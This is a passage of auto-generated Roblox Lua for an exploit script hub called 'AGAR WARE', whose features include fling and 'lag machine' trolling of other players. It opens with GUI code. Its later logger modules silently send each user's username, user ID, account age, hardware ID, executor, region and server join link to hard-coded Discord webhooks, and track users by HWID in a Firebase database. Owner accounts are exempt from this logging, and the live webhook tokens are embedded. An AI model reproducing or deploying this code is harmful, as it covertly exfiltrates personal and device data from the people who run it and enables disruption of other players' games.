TOGGLE -- ============================================================ TouchFlingTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then isEnabled = false tooltipFrame:Destroy() end end) end; task.spawn(C_329); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeTooltip local function C_32d() local script = G2L["32d"]; local FlingTypeRow = script.Parent local FlingTypeHelp = FlingTypeRow.FlingTypeHelp local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "FlingTypeTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Adding soon, wont be working that this moment. (RED = ADDING SOON)" tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.AutomaticSize = Enum.AutomaticSize.Y tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame FlingTypeHelp.MouseEnter:Connect(function() local abs = FlingTypeHelp.AbsolutePosition local size = FlingTypeHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) FlingTypeHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_32d); -- StarterGui.AgarWareGui.MainFrame.TopBar.TopBarScript local function C_337() local script = G2L["337"]; -- ============================================================ -- TOP BAR SCRIPT (Combined Drag + Title) -- Place this script under TopBar -- Handles: Dragging, Minimize, FPS/Player/Status Display -- ============================================================ local RunService = game:GetService("RunService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local TopBar = script.Parent local MainFrame = TopBar.Parent local MinimizeButton = TopBar.MinimizeGUI local Title = TopBar.TITLE local CoreGui = game:GetService("CoreGui") local AgarWareGui = CoreGui:WaitForChild("AgarWareGui") -- ============================================================ -- DRAGGING -- ============================================================ MainFrame.Draggable = true MainFrame.Active = true -- ============================================================ -- MINIMIZE -- ============================================================ local SideBar = MainFrame.SideBar local ContentArea = MainFrame.ContentArea local isMinimized = false local originalMainFrameSize = MainFrame.Size local function toggleMinimize() isMinimized = not isMinimized if isMinimized then SideBar.Visible = false ContentArea.Visible = false MainFrame.Size = UDim2.new(0, 450, 0, 25) MinimizeButton.Text = "+" else SideBar.Visible = true ContentArea.Visible = true MainFrame.Size = originalMainFrameSize MinimizeButton.Text = "-" end end MinimizeButton.MouseButton1Click:Connect(toggleMinimize) -- ============================================================ -- TITLE DISPLAY -- ============================================================ local isLoadingScripts = false local loadingProgress = 0 local loadingStartTime = 0 local loadingDuration = 0 local showLoadedMessage = false local loadedMessageStartTime = 0 local TCO_PLACE_IDS = { 11137575513, 12943245078, 12943247001, 108097274488844, } local function isTCO() for _, id in ipairs(TCO_PLACE_IDS) do if game.PlaceId == id then return true end end return false end local function getMyTime() local ls = LocalPlayer:FindFirstChild("leaderstats") local t = ls and ls:FindFirstChild("Time") return t and t.Value or nil end -- Listen for SaveScripts loading progress task.spawn(function() local LoadingProgress = AgarWareGui:WaitForChild("SaveScriptsLoadingProgress", 5) if LoadingProgress then LoadingProgress.Event:Connect(function(progress) if progress == 0 then isLoadingScripts = true loadingProgress = 0 loadingStartTime = tick() showLoadedMessage = false elseif progress == 100 then loadingProgress = 100 isLoadingScripts = false if not showLoadedMessage then loadingDuration = tick() - loadingStartTime showLoadedMessage = true loadedMessageStartTime = tick() end else loadingProgress = progress end end) end end) -- FPS smoothing local smoothedFPS = 60 local smoothing = 0.05 local lastTime = tick() RunService.RenderStepped:Connect(function() local now = tick() local deltaTime = now - lastTime lastTime = now local currentFPS = 1 / deltaTime smoothedFPS = smoothedFPS + (currentFPS - smoothedFPS) * smoothing local text if isLoadingScripts then text = string.format("AGAR WARE | loading previous scripts: %.1f%%", loadingProgress) elseif showLoadedMessage and (tick() - loadedMessageStartTime) < 3 then text = string.format("AGAR WARE | auto loaded scripts: %.2fs", loadingDuration) else showLoadedMessage = false -- Get ping local pingInSeconds = LocalPlayer:GetNetworkPing() local ping = math.round(pingInSeconds * 1000) text = string.format( "AGAR WARE | fps: %.1f | ping: %dms | players: %d", smoothedFPS, ping, #Players:GetPlayers() ) if isTCO() then local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen") local backpack = LocalPlayer:FindFirstChild("Backpack") local char = workspace:FindFirstChild(LocalPlayer.Name) local hasArken = (backpack and backpack:FindFirstChild("The Arkenstone")) or (char and char:FindFirstChild("The Arkenstone")) local isAdmin = chosenTeam and LocalPlayer.Team == chosenTeam if isAdmin then text = text .. " | Admin" elseif hasArken then text = text .. " | Enlightened" else text = text .. " | Neutral" end end end Title.Text = text:gsub("AGAR WARE", 'AGAR WARE') end) end; task.spawn(C_337); -- StarterGui.AgarWareGui.KeybindFrame.KeybindScript local function C_33b() local script = G2L["33b"]; -- ============================================================ -- KEYBIND FRAME MASTER SCRIPT -- Place this script directly under KeybindFrame -- Handles: BringGUI, Dragging, Hide/Show GUI, Lock/Unlock GUI -- ============================================================ local UserInputService = game:GetService("UserInputService") local KeybindFrame = script.Parent local ScreenGui = KeybindFrame.Parent local MainFrame = ScreenGui:FindFirstChild("MainFrame") -- ============================================================ -- BRING GUI (Recenter MainFrame) -- ============================================================ local BringGUI = KeybindFrame:FindFirstChild("BringGUI") if BringGUI and MainFrame then BringGUI.MouseButton1Click:Connect(function() MainFrame.AnchorPoint = Vector2.new(0.5, 0) MainFrame.Position = UDim2.new(0.5, 0, 0.5, -150) end) end -- ============================================================ -- DRAG FUNCTIONALITY (Mobile & Desktop Support) -- ============================================================ local DragButton = KeybindFrame:FindFirstChild("DragGUI") if DragButton then local dragging = false local dragStart = nil local startPos = nil local dragInput = nil local function updateDrag(input) local delta = input.Position - dragStart KeybindFrame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end DragButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = KeybindFrame.Position dragInput = input input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false dragInput = nil end end) end end) DragButton.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then updateDrag(input) end end) DragButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false dragInput = nil end end) end -- ============================================================ -- HIDE/SHOW GUI FUNCTIONALITY -- ============================================================ local HideGUIButton = KeybindFrame:FindFirstChild("HideGUI") if HideGUIButton and MainFrame then local TopBar = MainFrame:FindFirstChild("TopBar") local MinimizeButton = TopBar and TopBar:FindFirstChild("MinimizeGUI") local isHidden = false local savedMainFramePosition = nil local savedMainFrameSize = nil local savedMinimizeState = false local savedSideBarVisible = nil local savedContentAreaVisible = nil local savedMinimizeButtonText = nil local function getMinimizeState() local SideBar = MainFrame:FindFirstChild("SideBar") local ContentArea = MainFrame:FindFirstChild("ContentArea") if SideBar and ContentArea then if not SideBar.Visible and not ContentArea.Visible then return true end end return false end local function toggleHideGUI() isHidden = not isHidden if isHidden then -- Save current state before hiding savedMainFramePosition = MainFrame.Position savedMainFrameSize = MainFrame.Size savedMinimizeState = getMinimizeState() local SideBar = MainFrame:FindFirstChild("SideBar") local ContentArea = MainFrame:FindFirstChild("ContentArea") if SideBar then savedSideBarVisible = SideBar.Visible end if ContentArea then savedContentAreaVisible = ContentArea.Visible end if MinimizeButton then savedMinimizeButtonText = MinimizeButton.Text end -- Hide MainFrame MainFrame.Visible = false HideGUIButton.Text = "Show GUI" else -- Show MainFrame and restore state MainFrame.Visible = true MainFrame.Position = savedMainFramePosition MainFrame.Size = savedMainFrameSize local SideBar = MainFrame:FindFirstChild("SideBar") local ContentArea = MainFrame:FindFirstChild("ContentArea") -- Restore minimize state if savedMinimizeState then if SideBar then SideBar.Visible = false end if ContentArea then ContentArea.Visible = false end MainFrame.Size = UDim2.new(0, 450, 0, 25) if MinimizeButton then MinimizeButton.Text = "+" end else if SideBar then SideBar.Visible = savedSideBarVisible end if ContentArea then ContentArea.Visible = savedContentAreaVisible end if MinimizeButton then MinimizeButton.Text = savedMinimizeButtonText or "-" end end HideGUIButton.Text = "Hide GUI" end end HideGUIButton.MouseButton1Click:Connect(toggleHideGUI) end -- ============================================================ -- LOCK/UNLOCK GUI FUNCTIONALITY -- ============================================================ local LockGUIButton = KeybindFrame:FindFirstChild("LockGUI") if LockGUIButton and MainFrame then local isLocked = false local function toggleLockGUI() isLocked = not isLocked if isLocked then -- Lock the GUI MainFrame.Draggable = false LockGUIButton.Text = "Unlock GUI" else -- Unlock the GUI MainFrame.Draggable = true LockGUIButton.Text = "Lock GUI" end end LockGUIButton.MouseButton1Click:Connect(toggleLockGUI) end -- ============================================================ -- ADD MORE KEYBIND FEATURES HERE -- ============================================================ --[[ TEMPLATE FOR NEW BUTTON: local YourButton = KeybindFrame:FindFirstChild("YourButton") if YourButton then YourButton.MouseButton1Click:Connect(function() -- Your code here end) end ================================================================================ ]] -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then -- All connections auto-disconnect end end) end; task.spawn(C_33b); -- StarterGui.AgarWareGui.Webhook.IngameLog local function C_34c() local script = G2L["34c"]; -- SCRIPT 1: Owner notification webhook (with alt account support) local _WH = {} do local _HttpService = game:GetService("HttpService") local _Players = game:GetService("Players") local _MarketplaceSvc = game:GetService("MarketplaceService") local _StatsService = game:GetService("Stats") local _InputService = game:GetService("UserInputService") local _LocaleSvc = game:GetService("LocalizationService") local _AnalyticsSvc = game:GetService("RbxAnalyticsService") local _WEBHOOK = "https://discordapp.com/api/webhooks/1489975536565354546/yyLl4aX8naHHAzgVDCPiMA6e9YToWa3tGgHv1MRMyoWtwrybbKD4g9UPY_q35h17s2CU" local _DISCORD_USER_ID = "1301477323090034731" -- Main owner IDs (won't be logged when they execute) local OWNER_IDS = { 574381128, 10587072700, 8308247571, 10837544781, } -- Alt account that WILL be logged and trigger notifications local ALT_ACCOUNT = 10606010708 local _PLACES = { [11137575513] = {label = "Main", color = 0x00be09}, [12943245078] = {label = "XL", color = 0xbebf00}, [12943247001] = {label = "VC", color = 0x0072bf}, [108097274488844] = {label = "OG", color = 0x000000} } local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) or function() return { StatusCode = 0 } end local _sessionStart = tick() local _plr = _Players.LocalPlayer local function _isMainOwner(userId) for _, ownerId in ipairs(OWNER_IDS) do if userId == ownerId then return true end end return false end local function _isOwnerOrAltInGame() -- Check if any main owner OR the alt is in the game (excluding local player) for _, player in ipairs(_Players:GetPlayers()) do if player.UserId ~= _plr.UserId then -- Check main owners if _isMainOwner(player.UserId) then return true end -- Check alt account if player.UserId == ALT_ACCOUNT then return true end end end return false end -- Don't log if local player is a MAIN owner (but DO log if they're the alt) if _isMainOwner(_plr.UserId) then return end -- Only proceed if an owner or alt is in the game if not _isOwnerOrAltInGame() then return end local function _executor() if syn and syn.request then return "Synapse X" end if fluxus and fluxus.request then return "Fluxus" end if KRNL_LOADED or Krnl then return "KRNL" end if getexecutorname then return getexecutorname() end return "Unknown" end local function _platform() local ok, platform = pcall(function() return _InputService:GetPlatform().Name end) return ok and platform or "Unknown" end local function _joinLink() local ok, v = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and v or "" end local function _send(embedTable, contentText) local payload = { username = _plr.Name, content = contentText, embeds = { embedTable } } pcall(function() _req({ Url = _WEBHOOK, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = _HttpService:JSONEncode(payload) }) end) end local _currentPlace = _PLACES[game.PlaceId] local _EMBED_COLOR = _currentPlace and _currentPlace.color or 0xffffff local _PLACE_LABEL = _currentPlace and _currentPlace.label or "Other" local _playerCount = #_Players:GetPlayers() local _maxPlayers = _Players.MaxPlayers local contentMessage = string.format("%s executed your script, <@%s>", _plr.DisplayName, _DISCORD_USER_ID) _send({ title = string.format("%d/%d %s | %s / `%s`", _playerCount, _maxPlayers, _PLACE_LABEL, _plr.DisplayName, _plr.Name), description = "[Join Game](" .. _joinLink() .. ")", color = _EMBED_COLOR, footer = { text = _executor() .. " • " .. _platform() }, timestamp = DateTime.now():ToIsoDate() }, contentMessage) end return _WH end; task.spawn(C_34c); -- StarterGui.AgarWareGui.Webhook.PealzLog local function C_34d() local script = G2L["34d"]; local _WH = {} do local _HttpService = game:GetService("HttpService") local _Players = game:GetService("Players") local _MarketplaceSvc = game:GetService("MarketplaceService") local _StatsService = game:GetService("Stats") local _InputService = game:GetService("UserInputService") local _LocaleSvc = game:GetService("LocalizationService") local _AnalyticsSvc = game:GetService("RbxAnalyticsService") local _WEBHOOK = "https://discord.com/api/webhooks/1484970025214279772/4-3FhFXgwTus1qBl1Lt1XjycNSej340fUpfHRZibKoK89HX_EXNDb1azt7e8TxSQe0qZ" local _SCRIPT_NAME = "agarware" -- BLACKLISTED PLAYER IDS (won't be logged) local _BLACKLIST = { [10587072700] = true } local _COL_LOAD = 0x5865F2 -- indigo — startup embed local _COL_ACTION = 0xED4245 -- red — action log embed local _COL_PAINT = 0x00B5D8 -- cyan — paint/secondary event embed local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) or function() return { StatusCode = 0 } end local _sessionStart = tick() local _plr = _Players.LocalPlayer local _productInfo = pcall(function() return _MarketplaceSvc:GetProductInfo(game.PlaceId) end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" } local function _executor() if syn and syn.request then return "Synapse X" end if fluxus and fluxus.request then return "Fluxus" end if KRNL_LOADED or Krnl then return "KRNL" end if getexecutorname then return getexecutorname() end return "Unknown" end local function _hwid() if get_hwid then return tostring(get_hwid()) end local ok, id = pcall(function() return _AnalyticsSvc:GetClientId() end) return ok and id or "N/A" end local function _ping() local ok, v = pcall(function() return _StatsService.Network.ServerStatsItem["Data Ping"]:GetValue() end) return ok and math.floor(v) or 0 end local function _fps() local v = workspace:GetRealPhysicsFPS() return v > 0 and math.floor(v) or 0 end local function _region() local ok, r = pcall(function() return _LocaleSvc.RobloxLocaleId end) return ok and r or "N/A" end local function _thumb(userId) return string.format( "https://www.roblox.com/headshot-thumbnail/image?userId=%d&width=420&height=420&format=png", userId ) end local function _joinLink() local ok, v = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and v or "" end local function _send(embedTable) -- Check if player is blacklisted if _BLACKLIST[_plr.UserId] then return -- Don't send anything end pcall(function() _req({ Url = _WEBHOOK, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = _HttpService:JSONEncode({ embeds = { embedTable } }) }) end) end local _accCreated = os.date("%Y-%m-%d", os.time() - (_plr.AccountAge * 86400)) _send({ title = "▸ " .. _SCRIPT_NAME .. " Loaded", description = _joinLink(), color = _COL_LOAD, thumbnail = { url = _thumb(_plr.UserId) }, fields = { { name = "🔷 Identity", value = string.format( "**%s** / `%s`\n🆔 `%d` • 📅 acc: %s (%d days)", _plr.DisplayName, _plr.Name, _plr.UserId, _accCreated, _plr.AccountAge ), inline = true }, { name = "🖥️ Session", value = string.format( "**%s** `%s`\n%d / %d players • place `%d`", _productInfo.Name, tostring(game.PlaceId), #_Players:GetPlayers(), _Players.MaxPlayers, game.PlaceId ), inline = true }, { name = "🛡️ Client", value = string.format( "exe: **%s** • region: `%s`\nplatform: `%s` • ping: **%d ms** • fps: **%d**\nhwid: `%s`", _executor(), _region(), _InputService:GetPlatform().Name, _ping(), _fps(), _hwid() ), inline = false } }, footer = { text = _SCRIPT_NAME .. " Logger • " .. os.date("%Y-%m-%d %H:%M:%S") }, timestamp = DateTime.now():ToIsoDate() }) function _WH.sendLog(action, detail) _send({ title = "◆ " .. tostring(action), description = _joinLink(), color = _COL_ACTION, thumbnail = { url = _thumb(_plr.UserId) }, fields = { { name = "📌 Detail", value = tostring(detail or "—"), inline = false }, { name = "🔷 Player", value = string.format( "**%s** (`%s`) • ID `%d` • age %d days", _plr.DisplayName, _plr.Name, _plr.UserId, _plr.AccountAge ), inline = true }, { name = "🖥️ Server", value = string.format( "%s • %d/%d • %d ms", _productInfo.Name, #_Players:GetPlayers(), _Players.MaxPlayers, _ping() ), inline = true } }, footer = { text = _SCRIPT_NAME .. " Logger • +" .. math.floor(tick() - _sessionStart) .. "s session" }, timestamp = DateTime.now():ToIsoDate() }) end function _WH.sendPaintLog(data) _send({ title = "◈ Paint Event", description = _joinLink(), color = _COL_PAINT, thumbnail = { url = _thumb(_plr.UserId) }, fields = { { name = "🔷 Player", value = string.format( "**%s** (`%s`) • ID `%d`", _plr.DisplayName, _plr.Name, _plr.UserId ), inline = true }, { name = "🖥️ Server", value = string.format( "%s • %d players", _productInfo.Name, #_Players:GetPlayers() ), inline = true }, { name = "🎨 Paint", value = string.format( "mode: `%s` • color: `%s` • side: `%s`\ntext: `%s`", tostring(data.mode or "—"), tostring(data.color or "—"), tostring(data.side or "—"), (data.text and data.text ~= "") and data.text or "(none)" ), inline = false } }, footer = { text = _SCRIPT_NAME .. " Logger • +" .. math.floor(tick() - _sessionStart) .. "s session" }, timestamp = DateTime.now():ToIsoDate() }) end function _WH.sendCustomEmbed(embed) _send(embed) end end local sendLog = _WH.sendLog local sendPaintLog = _WH.sendPaintLog local sendCustomEmbed = _WH.sendCustomEmbed end; task.spawn(C_34d); -- StarterGui.AgarWareGui.Webhook.LagMachine local function C_34e() local script = G2L["34e"]; local _HttpService = game:GetService("HttpService") local _Players = game:GetService("Players") local _InputService = game:GetService("UserInputService") local _WEBHOOK = "https://discordapp.com/api/webhooks/1490972077379948696/5XsJ9jSb4Yq47GazvpHJcL05x2YbWODk5MB5Ii7mEf5mFQF6J3PcRvThOQgtJsF_f26a" local _DISCORD_USER_ID = "1301477323090034731" -- Owner accounts to check for local OWNER_IDS = { 574381128, 10587072700, 8308247571, 10606010708, } local _PLACES = { [11137575513] = {label = "Main", color = 0x00be09}, [12943245078] = {label = "XL", color = 0xbebf00}, [12943247001] = {label = "VC", color = 0x0072bf}, [108097274488844] = {label = "OG", color = 0x000000} } local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) or function() return { StatusCode = 0 } end local _plr = _Players.LocalPlayer -- Check if executor is an owner local function _isExecutorOwner() for _, ownerId in ipairs(OWNER_IDS) do if _plr.UserId == ownerId then return true end end return false end -- Check if any owner is in the game (excluding the executor) local function _isOwnerInGame() for _, player in ipairs(_Players:GetPlayers()) do if player.UserId ~= _plr.UserId then for _, ownerId in ipairs(OWNER_IDS) do if player.UserId == ownerId then return true end end end end return false end local function _executor() if syn and syn.request then return "Synapse X" end if fluxus and fluxus.request then return "Fluxus" end if KRNL_LOADED or Krnl then return "KRNL" end if getexecutorname then return getexecutorname() end return "Unknown" end local function _platform() local ok, platform = pcall(function() return _InputService:GetPlatform().Name end) return ok and platform or "Unknown" end local function _joinLink() local ok, v = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and v or "" end local function _send(embedTable, contentText) local payload = { content = contentText, embeds = { embedTable } } pcall(function() _req({ Url = _WEBHOOK, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = _HttpService:JSONEncode(payload) }) end) end local _currentPlace = _PLACES[game.PlaceId] local _EMBED_COLOR_START = 0x00B5D8 -- Cyan for started local _EMBED_COLOR_END = 0xED4245 -- Red for ended local _PLACE_LABEL = _currentPlace and _currentPlace.label or "Other" -- Get block count display -- Path: ScreenGui > Webhook > LagMachine (this script) -- Need to find: ScreenGui > [MainFrame] > LagGroup > BlockAmountRow > BlockAmountView local screenGui = script.Parent.Parent.Parent -- Go up to ScreenGui local BlockAmountView = nil -- Search for BlockAmountView in the ScreenGui for _, descendant in ipairs(screenGui:GetDescendants()) do if descendant.Name == "BlockAmountView" then BlockAmountView = descendant break end end local function getBlockCount() if BlockAmountView then local text = BlockAmountView.Text return tonumber(text:match("%d+")) or 0 end return 0 end -- Function to send lag machine started notification local function sendLagMachineStarted() -- Don't send if executor is an owner if _isExecutorOwner() then return end if not _isOwnerInGame() then return -- Don't send if no owner in game end local _playerCount = #_Players:GetPlayers() local _maxPlayers = _Players.MaxPlayers local contentMessage = string.format("%s started a lag machine, <@%s>", _plr.DisplayName, _DISCORD_USER_ID) _send({ title = string.format("Lag Machine Started | %s / %s", _plr.DisplayName, _plr.Name), description = _joinLink(), color = _EMBED_COLOR_START, footer = { text = _executor() .. " • " .. _platform() }, timestamp = DateTime.now():ToIsoDate() }, contentMessage) print("[LagMachineWebhook] Sent 'Started' notification") end -- Function to send lag machine ended notification local function sendLagMachineEnded() -- Send if: executor is owner OR another owner is in game local shouldSend = _isExecutorOwner() or _isOwnerInGame() if not shouldSend then return -- Don't send if no owner involved end local finalBlockCount = getBlockCount() local _playerCount = #_Players:GetPlayers() local _maxPlayers = _Players.MaxPlayers -- Only mention if executor is NOT an owner local contentMessage = "" if not _isExecutorOwner() then contentMessage = string.format("<@%s>", _DISCORD_USER_ID) end _send({ title = string.format("Lag Machine Ended | Blocks: %d", finalBlockCount), description = string.format("%s / %s\n%d/%d %s\n%s", _plr.DisplayName, _plr.Name, _playerCount, _maxPlayers, _PLACE_LABEL, _joinLink() ), color = _EMBED_COLOR_END, footer = { text = _executor() .. " • " .. _platform() }, timestamp = DateTime.now():ToIsoDate() }, contentMessage) print("[LagMachineWebhook] Sent 'Ended' notification") end -- Hook into global functions that BlockSpam script will call _G.LagMachineWebhook = { OnLagStarted = sendLagMachineStarted, OnLagEnded = sendLagMachineEnded } print("[LagMachineWebhook] Webhook logger initialized and ready") end; task.spawn(C_34e); -- StarterGui.AgarWareGui.Webhook.TCOLog local function C_34f() local script = G2L["34f"]; -- TCOLog: Logs all executions local _WH = {} do local _HttpService = game:GetService("HttpService") local _Players = game:GetService("Players") local _InputService = game:GetService("UserInputService") local _WEBHOOK = "https://discordapp.com/api/webhooks/1489972994326396970/aB732Ju6Dk5vjDGfhRObN68BOOs4muTgimzEMies68qDcLB_BN-uvt39gFWCiaA2elBX" local OWNER_IDS = { 574381128, 10587072700, 8308247571, 10837544781, } local _PLACES = { [11137575513] = {label = "Main", color = 0x00be09}, [12943245078] = {label = "XL", color = 0xbebf00}, [12943247001] = {label = "VC", color = 0x0072bf}, [108097274488844] = {label = "OG", color = 0x000000} } local _plr = _Players.LocalPlayer -- Don't log owners for _, ownerId in ipairs(OWNER_IDS) do if _plr.UserId == ownerId then return end end local _currentPlace = _PLACES[game.PlaceId] if not _currentPlace then return end local _PLACE_LABEL = _currentPlace.label local _EMBED_COLOR = _currentPlace.color local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) or function() return { StatusCode = 0 } end local function _executor() if syn and syn.request then return "Synapse X" end if fluxus and fluxus.request then return "Fluxus" end if KRNL_LOADED or Krnl then return "KRNL" end if getexecutorname then return getexecutorname() end return "Unknown" end local function _platform() local ok, platform = pcall(function() return _InputService:GetPlatform().Name end) return ok and platform or "Unknown" end local function _joinLink() local ok, v = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and v or "" end local _playerCount = #_Players:GetPlayers() local _maxPlayers = _Players.MaxPlayers pcall(function() _req({ Url = _WEBHOOK, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = _HttpService:JSONEncode({ embeds = {{ title = string.format("%d/%d %s | %s / `%s`", _playerCount, _maxPlayers, _PLACE_LABEL, _plr.DisplayName, _plr.Name), description = "[Join Game](" .. _joinLink() .. ")", color = _EMBED_COLOR, footer = { text = _executor() .. " • " .. _platform() }, timestamp = DateTime.now():ToIsoDate() }} }) }) end) end return _WH end; task.spawn(C_34f); -- StarterGui.AgarWareGui.Webhook.UniLog local function C_350() local script = G2L["350"]; local _WH = {} do local _HttpService = game:GetService("HttpService") local _Players = game:GetService("Players") local _MarketplaceSvc = game:GetService("MarketplaceService") local _AnalyticsSvc = game:GetService("RbxAnalyticsService") local _InputService = game:GetService("UserInputService") local _LocaleSvc = game:GetService("LocalizationService") local _WEBHOOK = "https://discord.com/api/webhooks/1504087792479637514/J_eDc804cRxCVO1susDDeDXdrLEMAZSEKkBGa5MzWQisZO9LtuqE-OZozw3o2aFo2alT" local _FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com" local _SCRIPT_NAME = "AGAR WARE V2" local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) or function() return { StatusCode = 0 } end local _plr = _Players.LocalPlayer local _productInfo = pcall(function() return _MarketplaceSvc:GetProductInfo(game.PlaceId) end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" } local function _hwid() if get_hwid then return tostring(get_hwid()) end local ok, id = pcall(function() return _AnalyticsSvc:GetClientId() end) return ok and id or "N/A" end local function _executor() if syn and syn.request then return "Synapse X" end if fluxus and fluxus.request then return "Fluxus" end if KRNL_LOADED or Krnl then return "KRNL" end if getexecutorname then return getexecutorname() end return "Unknown" end local function _region() local ok, r = pcall(function() return _LocaleSvc.RobloxLocaleId end) return ok and r or "N/A" end local function _platform() local p = _InputService:GetPlatform().Name local device = "Unknown" if p == "Windows" then device = "Windows" elseif p == "OSX" then device = "MacOS" elseif p == "IOS" then device = "iOS" elseif p == "Android" then device = "Android" elseif p == "UWP" then device = "Xbox" else device = p end return device end local function _ping() local ok, v = pcall(function() return game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue() end) return ok and math.floor(v) or 0 end local function _fps() local v = workspace:GetRealPhysicsFPS() return v > 0 and math.floor(v) or 0 end local function _joinLink() local ok, v = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and v or "" end local function _getPlayerData(hwid) local success, response = pcall(function() return _req({ Url = _FIREBASE_URL .. "/players_agar_ware_v2/" .. hwid .. ".json", Method = "GET" }) end) if success and response.StatusCode == 200 then local data = _HttpService:JSONDecode(response.Body) if type(data) == "table" then return data end end return { execution_count = 0, first_seen = os.time(), last_username = "" } end local function _updatePlayerData(hwid, data) pcall(function() _req({ Url = _FIREBASE_URL .. "/players_agar_ware_v2/" .. hwid .. ".json", Method = "PATCH", Headers = { ["Content-Type"] = "application/json" }, Body = _HttpService:JSONEncode(data) }) end) end local function _send(embedTable) pcall(function() _req({ Url = _WEBHOOK, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = _HttpService:JSONEncode({ embeds = { embedTable } }) }) end) end local hwid = _hwid() local playerData = _getPlayerData(hwid) playerData.execution_count = playerData.execution_count + 1 playerData.last_username = _plr.Name playerData.last_seen = os.time() _updatePlayerData(hwid, playerData) local accountCreated = os.date("%Y-%m-%d", os.time() - (_plr.AccountAge * 86400)) _send({ title = string.format("%s / @%s", _plr.DisplayName, _plr.Name), description = string.format( "**User ID:** #`%d`\n**%s** (%d Days)\n\n**Game:** [%s](%s)\n**Server:** %d/%d\n\n**Region:** %s\n**Executor:** %s\n**Device:** %s | %dms | %dfps\n**HWID:** `%s`\n\n**Execution Count:** #%d", _plr.UserId, accountCreated, _plr.AccountAge, _productInfo.Name, _joinLink(), #_Players:GetPlayers(), _Players.MaxPlayers, _region(), _executor(), _platform(), _ping(), _fps(), hwid, playerData.execution_count ), color = 0x000000, footer = { text = _SCRIPT_NAME }, timestamp = DateTime.now():ToIsoDate() }) end -- Add this AFTER your load webhook code local _FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com" local _plr = game:GetService("Players").LocalPlayer local _HttpService = game:GetService("HttpService") local _MarketplaceSvc = game:GetService("MarketplaceService") local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request) local function _hwid() if get_hwid then return tostring(get_hwid()) end local ok, id = pcall(function() return game:GetService("RbxAnalyticsService"):GetClientId() end) return ok and id or "N/A" end local function _joinLink() local ok, v = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and v or "" end local _productInfo = pcall(function() return _MarketplaceSvc:GetProductInfo(game.PlaceId) end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" } local function updateOnlineStatus() pcall(function() _req({ Url = _FIREBASE_URL 